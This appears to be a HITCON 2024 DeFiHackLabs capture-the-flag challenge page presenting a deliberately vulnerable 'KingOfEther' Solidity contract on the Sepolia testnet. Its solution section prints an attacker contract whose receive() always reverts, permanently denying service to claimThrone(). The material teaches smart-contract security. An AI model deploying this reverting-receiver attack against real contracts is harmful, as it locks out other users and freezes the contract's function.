# DeFiHackLabs攤位挑戰賽 - Long live the king!


# Challenge QRcode

# Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
    function kingIs() public view returns (address) { 
        return king;
    }
}

# Contract Address
https://sepolia.etherscan.io/address/0x69a81d9fdd7e9549d545d4b68336f2d762aaa5de#code

# 填答問卷
https://docs.google.com/forms/d/1nylizdPCTtzEbjI39gDdSMVnCi3tZwu70WD1D1AJDP8/viewform?edit_requested=true

# Solution

在合約中使用low-level call，攻擊者可以撰寫合約並在receive()中使用revert，這將導致後面的參與者永遠都無法成為新任國王call ，並導致claimThrone() 永久 DoS

:::info
解答

contract Attacker {
    // Attacker contract to claim throne without accepting Ether
    receive() external payable {
    revert("Attack: Reverting receive Ether");
    }

    function claimThrone(address _kingOfEther) external payable {
        KingOfEther(_kingOfEther).claimThrone{value: msg.value}();
    }

:::

# Resource
HITCON 2024 DefiHackLabs 合約挑戰賽指南
https://hackmd.io/@jbuCOBZvRjaiqc9WpSNXMg/SkIqdAO5A